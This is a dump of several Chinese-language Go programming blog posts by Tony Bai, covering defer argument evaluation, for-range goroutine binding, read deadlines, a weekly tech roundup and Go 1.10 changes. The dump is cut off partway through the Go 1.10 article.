timeout”那就误解了SetReadDeadline的真正含义了。因此要想在每次Read时都实现“足额的idle timeout”，需要在每次Read前都重新设定deadline。\nb) 一个完整“业务包”分多次读取的异常情况的处理\n在这幅图中，每个Read前都重新设定了deadline，那么这样就一定ok了么？对于在一个过程中读取一个“完整业务包”的业务逻辑来说，我们还要考虑对每次读取异常情况的处理，尤其是timeout发生。在该例子中，有三个Read位置需要考虑异常处理。\n如果Read A始终没有读到数据，deadline到期，返回timeout，这里是最容易处理的，因为此时前一个完整数据包已经被读完，新的完整数据包还没有到来，外层控制逻辑收到timeout后，重启再次启动该读流程即可。\n如果Read B或Read C处没有读到数据，deadline到期，这时异常处理就棘手一些，因为一个完整数据包的部分数据（A）已经从流中被读出，剩余的数据并不是一个完整的业务数据包，不能简单地再在外层控制逻辑中重新启动该过程。我们要么在Read B或Read C处尝试多次重读，直到将完整数据包读取完整后返回；要么认为在B或C处出现timeout是不合理的，返回区别于A处的错误码给外层控制逻辑，让外层逻辑决定是否是连接存在异常。\n注：本文所涉及的示例代码，请到这里下载。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2018/04/06/the-problems-i-encountered-when-writing-go-code-issue-3rd/","summary":"\u003cp\u003e我有一个习惯，那就是随时记录下编程过程中遇到的问题（包括问题现场、问题起因以及对问题的分析），并喜欢阶段性的对一段时间内的\u003cstrong\u003e编码过程的得与失\u003c/strong\u003e进行回顾和总结。内容可以包括：对编程语法的新认知、遇坑填坑的经历、一些让自己豁然开朗的小tip/小实践等。记录和总结的多了，感觉有价值的，就成文发在博客上的；一些小的点，或是还没有想清楚的事情，或思路没法结构化统一的，就放在资料库里备用。“写Go代码时遇到的那些问题”这个系列也是基于这个思路做的。\u003c/p\u003e","title":"写Go代码时遇到的那些问题[第3期]"},{"content":"一. 引子 书接上文，在发表了《对一段Go语言代码输出结果的简要分析》一文之后，原问题提出者又有了新问题，这是一个典型Gopher学习Go的历程，想必很多Gopher们，包括我自己都遇到过的。我们先来看看这段代码(来自原问题提出者)：\n// https://play.golang.org/p/dOUFNj96EIQ package main import \u0026quot;fmt\u0026quot; func main() { var i int = 1 defer fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;,func() int { return i * 2 }()) i++ } 这里显然有坑！初学者的常规逻辑一般是：defer是在main函数退出后执行，退出前i已经做了+1操作，值变成了2，这样一来defer后的Println应该输出：result =\u0026gt; 4 才对！实际输出结果呢？\nresult =\u0026gt; 2 这怎么可能？\n实际上不光是defer这样，即使用go关键字替换掉defer，输出的结果也是一样的：result =\u0026gt; 2：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { var i int = 1 go fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;,func() int { return i * 2 }()) i++ time.Sleep(3*time.Second) } 二. defer function分析 那么究竟为什么输出的是2，而不是4呢？因为无论是go关键字还是defer关键字，在代码执行到它们时，编译器都要为它们后面的函数准备好函数调用的参数堆栈，要确定的参数值和参数类型大小。这样一来就得去求值：对它们后面的函数的参数进行求值。\n以本文第一个defer那个例子为例！我们需要为defer后面的函数进行参数求值：\ndefer fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;,func() int { return i * 2 }()) 此时defer后面的函数是Println，这里Println有两个输入参数：”result =\u0026gt;”和func() int {return i * 2}()，前者就是一个字符串常量值，而后者是一个函数调用，我们需要对该函数调用进行求值。而在此时，i依然为1，因此Println的第二个参数的求值结果为2，于是上面defer的调用就等价于：\ndefer fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;,2) 因此，无论最终i的值变成了多少，defer最终的输出都是：result =\u0026gt; 2。go关键字后面的参数亦是如此。其实这个过程与为普通函数的调用做准备是一样的，也要先对函数的参数进行求值，之后再进入函数体，只不过defer将进入函数执行的过程推迟到defer的调用方退出之前了。\n搞清楚这个defer原理后，我们如果想在defer函数执行时输出4，那么使用一个闭包函数即可：\n// https://play.golang.org/p/Eux7zpSr7O8 package main import \u0026quot;fmt\u0026quot; func main() { var i int = 1 defer func() { fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;, func() int { return i * 2 }()) }() i++ } 这里我们看到defer 后面是一个不带任何参数的匿名函数，所谓的对参数求值也是无值可求。在main函数退出前，defer后面的匿名函数真正执行时i的值已经是2，因此闭包函数中的Println输出4。\n三. defer method分析 defer后面除了可以跟着普通函数调用外，还可以使用方法调用(method)：\ndefer instance.Method(x,y) 这可能又会让初学者有些迷惑，多数又是Method的receiver类型以及go自动对instance的Method调用解引用或求地址的问题，我们“趁热打铁”，再来基于上一篇文章《对一段Go语言代码输出结果的简要分析》中的例子做些修改，看看将go关键字换成defer会是一种什么情况：\n//https://play.golang.org/p/T8CdRfEn2h4 package main import ( \u0026quot;fmt\u0026quot; ) type field struct { name string } func (p *field) print() { fmt.Println(p.name) } func main() { data1 := []*field{{\u0026quot;one\u0026quot;}, {\u0026quot;two\u0026quot;}, {\u0026quot;three\u0026quot;}} for _, v := range data1 { defer v.print() } data2 := []field{{\u0026quot;four\u0026quot;}, {\u0026quot;five\u0026quot;}, {\u0026quot;six\u0026quot;}} for _, v := range data2 { defer v.print() } } 这段代码运行起来输出：\nsix six six three two one 有了《对一段Go语言代码输出结果的简要分析》一文中的思路作为基础，对上面这段代码的分析也就不难了。没错，还是按照我上一篇的“等价转换”思路去思考，将method转换为function后，再分析。上面的代码可以等价变换为下面代码：\nhttps://play.golang.org/p/a-vOSz4N3jb package main import ( \u0026quot;fmt\u0026quot; ) type field struct { name string } func print(p *field) { fmt.Println(p.name) } func main() { data1 := []*field{{\u0026quot;one\u0026quot;}, {\u0026quot;two\u0026quot;}, {\u0026quot;three\u0026quot;}} for _, v := range data1 { defer print(v) } data2 := []field{{\u0026quot;four\u0026quot;}, {\u0026quot;five\u0026quot;}, {\u0026quot;six\u0026quot;}} for _, v := range data2 { defer print(\u0026amp;v) } } 接下来，我们就利用defer的“参数实时求值”原理，对上面的代码作分析：\ndata1的三次迭代：defer的参数求值完后，defer print(v)调用分别变成了：\ndefer print(\u0026amp;field{“one”}) defer print(\u0026amp;field{“two”}) defer print(\u0026amp;field{“three”}) data2的三次迭代，defer的参数求值完后，defer print(v)调用分别变成了：\ndefer print(\u0026amp;v) defer print(\u0026amp;v) defer print(\u0026amp;v) 于是在main退出前，defer函数按defer被调用的反向顺序执行：\nprint(\u0026amp;v) print(\u0026amp;v) print(\u0026amp;v) print(\u0026amp;field{“three”}) print(\u0026amp;field{“two”}) print(\u0026amp;field{“one”}) 而此刻：v中存储的值为field{“six”}，于是前三次print均输出”six”。\n四. 小结 defer虽然带来一些性能损耗，但defer的适当使用可以让程序的逻辑结构变得更为简洁。\n《对一段Go语言代码输出结果的简要分析》一文发出后，出乎意料地收到一些反馈，其实很多Go初学者希望能看到一些像这样的入门，但又“较真”的，最好再涉及点底层实现的文章。以后有精力会多多关注这一点的。欢迎大家来本站继续交流，从各位朋友提出的问题中，我也能收获到灵感^0^。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/03/23/the-analysis-of-the-param-evaluation-of-defer-functions/","summary":"\u003ch3 id=\"一-引子\"\u003e一. 引子\u003c/h3\u003e\n\u003cp\u003e书接上文，在发表了\u003ca href=\"https://tonybai.com/2018/03/20/the-analysis-of-output-results-of-a-go-code-snippet/\"\u003e《对一段Go语言代码输出结果的简要分析》\u003c/a\u003e一文之后，原问题提出者又有了新问题，这是一个典型Gopher学习Go的历程，想必很多Gopher们，包括我自己都遇到过的。我们先来看看这段代码(来自原问题提出者)：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// https://play.golang.org/p/dOUFNj96EIQ\npackage main\n\nimport \u0026quot;fmt\u0026quot;\n\nfunc main() {\n    var i int = 1\n\n    defer fmt.Println(\u0026quot;result =\u0026gt;\u0026quot;,func() int { return i * 2 }())\n    i++\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这里显然有坑！初学者的常规逻辑一般是：defer是在main函数退出后执行，退出前i已经做了+1操作，值变成了2，这样一来defer后的Println应该输出：\u003cstrong\u003eresult =\u0026gt; 4\u003c/strong\u003e 才对！实际输出结果呢？\u003c/p\u003e","title":"defer函数参数求值简要分析"},{"content":"年后事情实在是多，各种被催进度，于是好长一段时间未更博客了，自责中….。今天蹦出来热热身^0^！\n中午在微博私信中看到一封来自某Gopher的咨询，他贴了一段代码，并表示对代码的输出结果的不解，希望我能帮他分析一下。他的代码如下：\n//testslicerange.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) type field struct { name string } func (p *field) print() { fmt.Println(p.name) } func main() { data1 := []*field{{\u0026quot;one\u0026quot;}, {\u0026quot;two\u0026quot;}, {\u0026quot;three\u0026quot;}} for _, v := range data1 { go v.print() } data2 := []field{{\u0026quot;four\u0026quot;}, {\u0026quot;five\u0026quot;}, {\u0026quot;six\u0026quot;}} for _, v := range data2 { go v.print() } time.Sleep(3 * time.Second) } 在go playground上，其输出结果为(在我的多核mac，Go 1.10上面程序与此稍有不同，输出的item相同，只是前后顺序有不同)：\none two three six six six 虽然这位Gopher并没有明确说明他的疑惑究竟是什么？但从上述的输出结果来看，他一定是想问：为什么对data2的迭代输出的是三个”six”，而不是four、five、six？\n好了，我来分析一下。首先，我要对这个程序做个等价变换，变换后的程序源码如下：\n//testslicerange-transform.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) type field struct { name string } func print(p *field) { fmt.Println(p.name) } func main() { data1 := []*field{{\u0026quot;one\u0026quot;}, {\u0026quot;two\u0026quot;}, {\u0026quot;three\u0026quot;}} for _, v := range data1 { go print(v) } data2 := []field{{\u0026quot;four\u0026quot;}, {\u0026quot;five\u0026quot;}, {\u0026quot;six\u0026quot;}} for _, v := range data2 { go print(\u0026amp;v) } time.Sleep(3 * time.Second) } 这里我把field结构体的method：print，换成了普通的以field指针作为第一个参数的函数print，这个变换是等价的，因为go中的method本质上就是以method的receiver作为第一个参数的普通function，即：\ninstance.method(x,y) \u0026lt;=\u0026gt; function(instance, x,y) 因此，执行上述的变换后的testslicerange-transform.go，得到的结果与testslicerange.go是一致的：\none two three six six six 这样变换以后，问题是不是豁然开朗了，你可以很清楚地看到使用go关键字启动一个新goroutine时是如何绑定参数的：\n- 迭代data1时，由于data1中的元素类型是field指针，因此赋值后v就是元素地址， 每次调用print时传入的参数(v)实际上也是各个field元素的地址； - 迭代data2时，由于data2中的元素类型是field（非指针），因此赋值后v是元素的copy，每次传入的\u0026amp;v实际上是v的地址，而不是被copy的元素的地址； 剩下的就是for range常见的那个”坑”的问题（在我的《关于Go，你可能不注意的7件事》一文中有详尽说明），那就是v在整个for range过程只有一个，data2迭代完成之后，v是元素”six”的copy。\n这样，一旦启动的各个child goroutine在main goroutine执行到Sleep时才被调度执行，那么最后的三个goroutine在打印\u0026amp;v时，打印的也就都v\n中存放的值”six”了。而前三个child goroutine各自传入的是元素(“one”、”two”、”three”)的地址，打印的就是”one”、”two”、”three”。\n那么原程序如何修改一下才能让其按期望输出(“one”、”two”、”three”, “four”, “five”, “six”)呢？我们来改一下：只需将field method的receiver type由*field改为field即可。\n// testslicerange1.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) type field struct { name string } func (p field) print() { fmt.Println(p.name) } func main() { data1 := []*field{{\u0026quot;one\u0026quot;}, {\u0026quot;two\u0026quot;}, {\u0026quot;three\u0026quot;}} for _, v := range data1 { go v.print() } data2 := []field{{\u0026quot;four\u0026quot;}, {\u0026quot;five\u0026quot;}, {\u0026quot;six\u0026quot;}} for _, v := range data2 { go v.print() } time.Sleep(3 * time.Second) } 上述程序在go playground上的输出为：\none two three four five six 至于为什么，可以参考我的分析思路，自行分析一下。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/03/20/the-analysis-of-output-results-of-a-go-code-snippet/","summary":"\u003cp\u003e年后事情实在是多，各种被催进度，于是好长一段时间未更博客了，自责中….。今天蹦出来热热身^0^！\u003c/p\u003e\n\u003cp\u003e中午在微博私信中看到一封来自某Gopher的咨询，他贴了一段代码，并表示对代码的输出结果的不解，希望我能帮他分析一下。他的代码如下：\u003c/p\u003e","title":"对一段Go语言代码输出结果的简要分析"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第10期]”**的归档。\n这个世界上最危险的毒药，就是成就感。而解药就是每晚都想一想，明天如何做得更好。 – 英格瓦坎普拉德，宜家创始人\n2018年元宵节已过，这个传统意义上的年就算真的过完了，我们的那颗有些闲散、有些懈怠的心需要收一收，是时候为2018年的“事业”做些规划，从2018的起跑线上起跑出去了。就连现在的孩子，在开学第一课时都要对自己的寒假生活做生动的回顾并且对新学期给予展望了。\n春节假期匆忙且短暂，不过在这段时间里还是有很多值得关注的文章、资料、书籍以及项目的。\n一、一周文章精粹 1. Go官方提出新的包依赖管理工具：vgo 就在上周，Go社区里发生了一件“大事”：Go大神Russ Cox一周内连发了七篇文章，并宣布Go很可能在下一个版本：Go 1.11中加入可选的、“实验性”的新模型： vgo(versioned Go)，以试图解决长期以来Go被广泛诟病的包依赖管理问题。\nRuss Cox在设计vgo时参考了当今比较流行的cargo、npm等工具，也从之前Go官方实验dep中吸取了足够的实验结论，另辟蹊径，提出了很多很有创新的观点和方法，在社区里引起了广泛的关注和讨论。\nvgo的一些主要设计考量如下：\n接受语义版本(semver)规则 使用semantic import versioning规则替代原有的import rule 引入module概念（go.mod) 使用minimal version selection(最小版本选择)，而不是业界事实标准的maximal version selected（最新版本选择）的方案； 去除vendor机制 去除GOPATH Russ Cox还提供了一个vgo的初步实现，供广大Gopher体验。\nvgo的公开意味着Go team已经将包依赖管理问题列为高优先级待解决的问题，vgo虽然只是原型，其设计思路也可能不会全部进入到最终的解决方法中，但这毕竟迈出了坚实的一步。\n文章链接：Go \u0026amp; Verisioning\n2. Go官方2017用户调查结果 本周Go官方在Blog上公布了2017用户调查结果，几个结论值得大家关注：\n越来越多用户在工作中正式使用Go (67%) Web开发、系统编程、Devops、网络编程依旧是Go使用的主要领域，但在移动端、桌面端GUI编程的比例下滑明显 在API/RPC服务领域的使用占据榜首，CLI、WebService(返回html)排名2、3 包依赖管理以及缺少泛型依然是Gopher最希望Go team解决的两个问题 Linux、MacOS依然是Gopher主力开发平台 vscode在Go编辑器市场份额升至No.1 最喜欢的关键字：go、defer、func、select和interface排名top5 文章链接：“Go 2017用户调查结果”\n3. 容器术语介绍入门 著名开源公司Redhat近两年拥抱容器的态度十分坚决，近期来收购了coreos。近期Redhat在官博上发表了一篇文章，对容器领域的相关术语概念做了详尽的介绍，强烈推荐。\n文章链接：“容器术语介绍入门”\n4. Go语言实现的微服务系列 Go语言已经被证明了是当前应用云化、面向微服务的服务端编程的头部语言之一。关于Go与Microservice的文章也有不少。Ewan Valentine的Go语言实现微服务系列（10篇）就是这类文章中难得的全面、细致讲述Go如何实现微服务应用的文章资料。在这一系列文章中，作者谈到的了mongodb, grpc, docker, Google Cloud, Kubernetes, NATS, CircleCI, Terraform、go-micro框架等诸多在编写、部署、运维微服务过程中所能用到的框架、协议、工具等。.\n文章链接：microservice in golang series\n5. Brian Ketelsen专访：Go取得快速增长的原因 Brian Ketelsen是知名Gopher，GopherCon大会、GopherAcademy的联合发起人、《Go in action》一书的联合作者。在Microsoft对其的一篇专访中，Brian Ketelsen谈了对Go语言这些年取得快速成长的看法。\n文章链接：Brian Ketelsen专访：Go取得快速增长的原因\n6. 在Linux上使用Go作为脚本语言 Cloudflare公司的很多产品采用的是Go技术栈，公司内部支撑系统亦是。Go的简单特质以及Go tools的使用模式让Go十分适合在Linux系统上被当做“脚本语言”使用（结合shebang行），它的强类型特性又是真正的脚本语言所不具备的。cloudflare的这篇文章讲解了该公司使用go作为脚本语言在Linux上的实践方法，值得借鉴。\n文章链接：《在Linux使用Go作为脚本语言》\n二、一周资料分享 1. Google机器学习速成教程 Google公司本周正式推出面向普通开发者、机器学习爱好者的机器学习速成教程资料。粗略浏览了一遍，感觉该教程是目前传统程序员向机器学习、AI领域转型的最优秀资料之一。教程提供了教程中实验的全部资料和实验环境，并给出了前提条件中给出了预备知识的学习教程，包括数学知识、Python编程等。更为可贵的是该教程提供完整的中文版，国内程序员学习起来曲线也降低了不少。唯一不便的可能就是需要科学上网才能打开教程。\n资料分享链接：“Google机器学习速成教程”\n三、一周项目推荐 1. vitess 之所以推荐vitess这个项目，是因为它在不久前成为了CNCF基金会的第16个孵化级别项目，并且是cncf第二个存储项目。Vitess最初是作为YouTube的一个内部解决方案来处理大量存储的扩展，它是一个数据库编排系统，通过广义分片来对MySQL进行水平缩放。通过封装分片路由逻辑，Vitess允许应用程序代码和数据库查询对于将数据分布到多个分片上保持不变。借助Vitess，组织甚至可以根据需求的增长来分割和合并碎片，原子切割步骤只需要几秒钟。\n同时该项目还是Go语言的早期“尝鲜者”：在2011年就开始使用Go语言开发了。随着vitess用户的增多（包括slack、flipkart等），vitess似乎又进入一个黄金开发的阶段，将较为成熟的、业界广为使用的数据库分片技术继续延续和优化下去，并且vitess与容器、kubernetes的结合使用也日益成熟，为云原生应用在k8s上提供一个可扩展的存储层。\n项目链接：“vitess”\n四、一周图书推荐 1.《Master Ethereum》 随着2017年比特币市场的异常繁荣，2018的区块链技术有迎来爆发的趋势。作为第二代区块链技术代表的以太坊(Ethereum)，它试图实现一个总体上完全无需信任基础的智能合约平台和庞大的生态圈，受到了区块链业界最为广泛的关注，有关以太坊的技术书籍亦是如此。\n《Master Ethereum》，中文名可译为“精通以太坊”，这是一本尚未完成的书，但在编写的过程中就受到了广泛的关注。除了是因为大家对以太坊技术关注之外，该书在github的开源也是其吸引眼球的重要原因。该书的两位作者是bitcoin专家，本书的目标是为开发者提供有关以太坊概念、使用、智能合约(smart contract)、经典以太坊网络、以太坊标准等全面的内容。\n图书链接：《Master Ethereum》\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/03/03/10th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第10期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/10th-issue/cover.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这个世界上最危险的毒药，就是成就感。而解药就是每晚都想一想，明天如何做得更好。 – 英格瓦坎普拉德，宜家创始人\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e2018年元宵节已过，这个传统意义上的年就算真的过完了，我们的那颗有些闲散、有些懈怠的心需要收一收，是时候为2018年的“事业”做些规划，从2018的起跑线上起跑出去了。就连现在的孩子，在开学第一课时都要对自己的寒假生活做生动的回顾并且对新学期给予展望了。\u003c/p\u003e","title":"TB一周萃选[第10期]"},{"content":"又到了Go语言新版本的发布时间窗口了！这次的主角是Go 1.10。\n曾几何时， 这是很多Gopher在Go 1.8、Go 1.9时猜测是否存在的那个版本，毕竟minor version即将进化到两位数。从Go语言第一封设计mail发出到现在的十年间，尤其是Go语言经历了近几年的爆发式增长，基本奠定了云原生第一语言的位置之后，人们对Go语言有了更多新的、更为深刻的认知，同时对这门编程语言也有了更多的改进和优化的期望。Go2在Gopher心中的位置日益提升，直到Russ Cox在GopherCon 2017上公布了Go core team对Go2的开发策略，我们才意识到：哦，Go1还将继续一段时间，甚至是一段很长的时间。2018年2月，我们将迎来Go 1.10版本。\n从Go 1.4版本开始，我自己都没想到我能将**“Go x.x中值得关注的几个变化”**这个系列一直写到Go 1.10。不过现在看来，这个系列还会继续，以后可能还有Go 1.11、Go 1.12…，甚至是进化到Go2之后的各个版本。\nGo从1.0版本发布之日起，便遵守着自己**“变与不变”**的哲学。不变的是对Go对“Go1 promise of compatibility”的严格遵守，变化的则是对语言性能、运行时、GC、工具以及标准库更为精细和耐心地打磨。这次发布的Go 1.10依然延续着这种理念，将重点的改进放在了运行时、工具以及标准库上。接下来，我就和大家一起看看即将发布的Go 1.10都有哪些值得重点关注的变化。\n一、语言 Go language Spec是当前Go语言的唯一语言规范标准，虽然其严谨性与那些以ISO标准形式编写成的语言规范（比如：C语言、C++语言的规范）还有一定差距。因此，对go spec的优化，就是在严谨性方面下功夫。当前spec的主要修订者是Go语言三个设计者之一的Robert Griesemer，他在Go 1.10周期对spec做了较多语言概念严谨性方面的改进。\n1、显式定义Representability（可表示性） 在Properties of types and values章节下，Robert Griesemer显式引入了一个新的术语Representability，这里译为可表示性。这一术语的引入并未带来语法的变化，只是为了更精确的阐释规范。Representability的定义明确了当规范中出现“a constant x is representable by a value of type T”时成立的几种条件，尤其是针对浮点类型和复数类型。这里摘录（不翻译）：\nA constant x is representable by a value of type T if one of the following conditions applies: - x is in the set of values determined by T. - T is a floating-point type and x can be rounded to T's precision without overflow. Rounding uses IEEE 754 round-to-even rules but with an IEEE negative zero further simplified to an unsigned zero. Note that constant values never result in an IEEE negative zero, NaN, or infinity. - T is a complex type, and x's components real(x) and imag(x) are representable by values of T's component type (float32 or float64). 2、澄清未指定类型的常量作为shift(移位)非常量位操作的左操作数时在某些特定上下文中的类型 虽然不及ISO标准规范严谨，但凡是language spec，理解起来都是有门槛的。这个改进针对的是那些未指定类型的常量，在作为shift非常量位操作的左操作数时，在shift表达式结果作为下标表达式中的下标、切片表达式下标或者make函数调用中的size参数时，这个常量将被赋予int类型。我们还是看个例子更加直观：\n// go1.10-examples/spec/untypedconst.go package main var ( s uint = 2 ) func main() { a := make([]int, 10) a[1.0\u0026lt;\u0026lt;s] = 4 } 上面的例子中，重点看a[1.0 \u0026laquo; s] = 4这一行，这一行恰好满足了几个条件：\n1.0 \u0026laquo; s 是一个shift表达式，且作为slide表达式的下标； shift表达式所移动的位数为s，s是一个变量，非常量，因此这是一个非常量位的移位操作； 1.0是未指定类型的常量(untyped const)，且作为shift表达式左操作数 在Go 1.9.2下面，上面的程序编译结果如下：\n// go 1.9.2编译器build： $go build untypedconst.go # command-line-arguments ./untypedconst.go:9:7: invalid operation: 1 \u0026lt;\u0026lt; s (shift of type float64) 在Go 1.9.2下，1.0这个常量被compiler赋予了float64类型，导致编译出错。在Go 1.10下，根据最新的spec，1.0被赋予了int型，编译则顺利通过。\n但一旦脱离了下标这个上下文环境，1.0这个常量依旧会被compiler识别为float64类型，比如下面代码中1.0\u0026laquo;s作为Println的参数就是不符合语法的：\n// go1.10-examples/spec/untypedconst.go package main import \u0026quot;fmt\u0026quot; var ( s uint = 2 ) func main() { a := make([]int, 10) a[1.0\u0026lt;\u0026lt;s] = 4 fmt.Println(1.0\u0026lt;\u0026lt;s) } // go 1.10rc2编译器build： $go build untypedconst.go # command-line-arguments ./untypedconst.go:12:17: invalid operation: 1 \u0026lt;\u0026lt; s (shift of type float64) ./untypedconst.go:12:17: cannot use 1 \u0026lt;\u0026lt; s as type interface {} in argument to fmt.Println 3、明确预声明类型(predeclared type)是defined type还是alias type Go在1.9版本中引入了alias语法，同时引入defined type(以替代named type)和alias type，并使用alias语法对某些predeclared type的实现进行了调整。在Go 1.10 spec中，Griesemer进一步明确了哪些predeclared type是alias type：\n目前内置的predeclared type只有两个类型是alias type: byte alias for uint8 rune alias for int32 其余的predeclared type都是defined type。\n4、移除spec中对method expression: T.m中T的类型的限制 这次是spec落伍于compiler了。Go 1.9.2就可以顺利编译运行下面的代码：\n//go1.10-examples/spec/methodexpression.go package main import \u0026quot;fmt\u0026quot; type foo struct{} func (foo)f() { fmt.Println(\u0026quot;i am foo\u0026quot;) } func main() { interface{f()}.f(foo{}) } 但在Go 1.9.2的spec中，对Method expression的定义如下：\nGo 1.9.2 spec: MethodExpr = ReceiverType \u0026quot;.\u0026quot; MethodName . ReceiverType = TypeName | \u0026quot;(\u0026quot; \u0026quot;*\u0026quot; TypeName \u0026quot;)\u0026quot; | \u0026quot;(\u0026quot; ReceiverType \u0026quot;)\u0026quot; . Go 1.9.2的spec说，method expression形式:T.m中的T仅能使用Typename，而非上述代码中type实现。Go 1.10的spec中放开了对method expression中T的限制，使得type的实现也可以作为T调用method，与编译器的实际实现行为同步：\nGo 1.10rc2 spec: MethodExpr = ReceiverType \u0026quot;.\u0026quot; MethodName . ReceiverType = Type . 不过目前Go 1.10 rc2 compiler还存在一个问题，我们看一下下面的代码：\n//go1.10-examples/spec/methodexpression1.go package main func main() { (*struct{ error }).Error(nil) } 使用Go 110rc2构建该源码，得到如下错误：\n$go build methodexpression1.go # command-line-arguments go.(*struct { error }).Error: call to external function main.main: relocation target go.(*struct { error }).Error not defined main.main: undefined: \u0026quot;go.(*struct { error }).Error\u0026quot; 该问题目前已经有issue对应，状态还是Open。\n二、工具 Go语言有着让其他主流编程语言羡慕的工具集，每次Go版本更新，工具集都会得到进一步的加强，无论是功能还是从开发者体验方面，都有提升。\n1、默认的GOROOT 继Go 1.8版本引入默认的GOPATH后，Go 1.10版本为继续改进Go工具的开发者体验，进一步降低新手的使用门槛，引入了默认GOROOT：即开发者无需显式设置GOROOT环境变量，go程序会自动根据自己所在路径推导出GOROOT的路径。这样一来，Gopher们就可以将下载的Go预编译好的安装包解压放置到任意本地路径下，唯一要做的就是将go二进制程序路径放置到PATH环境变量中。比如我们将go1.10rc2的安装包解压到下面路径下：\n➜ /Users/tony/.bin/go1.10rc2 $ls AUTHORS LICENSE VERSION blog/ lib/ robots.txt CONTRIBUTING.md PATENTS api/ doc/ misc/ src/ CONTRIBUTORS README.md bin/ favicon.ico pkg/ test/ 在设置为PATH后，我们通过go env命令查看go自动推导的GOROOT以及其他相关变量的值：\n$go env GOARCH=\u0026quot;amd64\u0026quot; GOBIN=\u0026quot;\u0026quot; GOCACHE=\u0026quot;/Users/tony/Library/Caches/go-build\u0026quot; GOEXE=\u0026quot;\u0026quot; GOHOSTARCH=\u0026quot;amd64\u0026quot; GOHOSTOS=\u0026quot;darwin\u0026quot; GOOS=\u0026quot;darwin\u0026quot; GOPATH=\u0026quot;/Users/tony/go\u0026quot; GORACE=\u0026quot;\u0026quot; GOROOT=\u0026quot;/Users/tony/.bin/go1.10rc2\u0026quot; GOTMPDIR=\u0026quot;\u0026quot; GOTOOLDIR=\u0026quot;/Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64\u0026quot; GCCGO=\u0026quot;gccgo\u0026quot; CC=\u0026quot;clang\u0026quot; CXX=\u0026quot;clang++\u0026quot; CGO_ENABLED=\u0026quot;1\u0026quot; CGO_CFLAGS=\u0026quot;-g -O2\u0026quot; CGO_CPPFLAGS=\u0026quot;\u0026quot; CGO_CXXFLAGS=\u0026quot;-g -O2\u0026quot; CGO_FFLAGS=\u0026quot;-g -O2\u0026quot; CGO_LDFLAGS=\u0026quot;-g -O2\u0026quot; PKG_CONFIG=\u0026quot;pkg-config\u0026quot; GOGCCFLAGS=\u0026quot;-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -gno-record-gcc-switches -fno-common\u0026quot; 从输出结果看到，go正确找到了安装路径，并得到了GOROOT信息。\n2、增加GOTMPDIR变量 在上面的go env命令输出内容中，我们发现了一个陌生的变量：GOTMPDIR，其值默认为空串。这个GOTMPDIR变量是Go 1.10新引入的变量，用于设置Go tool创建和使用的临时文件的路径的。有人可能会说：这个变量看似没什么必要，直接用系统的/tmp路径就好了啊。但是在/tmp路径中编译和执行编译后的程序至少有两点问题，这些问题实际上在go的issues历史中已经存在许久了：\n有些机器上/tmp路径下被设置了无执行权限(set noexec) 有些机器上/tmp下空间有限 我们知道默认情况下，go build和go run都会在/tmp下设置一个临时WORK目录来编译源码和执行编译后的程序的，从下面的一个最简单的helloworld源码的编译执行过程输出(WORK变量)，我们就能看到这点：\n// on ubuntu 16.04 # go run -x hello.go WORK=/tmp/go-build001434392 mkdir -p $WORK/b001/ ... ... mkdir -p $WORK/b001/exe/ cd . /root/.bin/go1.10rc2/pkg/tool/linux_amd64/link -o $WORK/b001/exe/hello -importcfg 